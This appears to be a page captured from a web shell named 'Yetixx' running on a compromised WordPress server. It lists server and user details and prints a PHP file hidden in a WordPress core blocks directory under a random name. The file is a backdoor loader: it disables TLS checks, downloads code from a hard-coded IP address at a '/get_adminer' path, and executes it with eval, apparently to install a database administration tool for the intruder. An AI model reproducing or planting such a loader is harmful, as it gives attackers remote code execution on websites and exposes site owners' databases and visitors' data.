Yetixx
Server: LiteSpeed
System: Linux srv81050498.ultasrv.net 5.15.0-97-generic #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024 x86_64
User: hemat3240 (1051)
PHP: 8.0.30
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //home/gerbang4dslot.net/public_html/wp-includes/blocks/post-comments-form/3918abf702.php
<?php

function hnptinst_do_get_request($url) {
    $result = false;

    //Use curl if available
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        
        if(defined('CURLOPT_SSL_VERIFYHOST')) {
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        }

        if(defined('CURLOPT_SSL_VERIFYPEER')) {
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        }

        if(defined('CURLOPT_SSL_VERIFYSTATUS')) {
            curl_setopt($ch, CURLOPT_SSL_VERIFYSTATUS, false);
        }

        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

        $result = curl_exec($ch);
        curl_close($ch);
        if($result === false) {
            goto use_file_get_contents;
        }
    //No curl available, do it the other way
    } else {
    use_file_get_contents:
        //https://stackoverflow.com/questions/5647461/how-do-i-send-a-post-request-with-php
        $options = [
            'http' => [
                'method' => 'GET',
                'follow_location' => 0,
                'max_redirects' => 0,
                'timeout' => 10.0
            ],
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false,
                'allow_self_signed' => true,
                'security_level' => 0,
            ]
        ];
        $context = stream_context_create($options);
        $result = file_get_contents($url, false, $context);
    }

    return $result;
}

$download_baseurls = [
    'https://94.156.180.81:443',
    'http://94.156.180.81:80',
];

$result = false;
foreach($download_baseurls as $download_baseurl) {
    $result = hnptinst_do_get_request("{$download_baseurl}/get_adminer");
    if($result !== false) {
        break;
    }
}

if($result === false) {
    die('Could not get adminer!');
} else {
    eval('?>' . $result);
}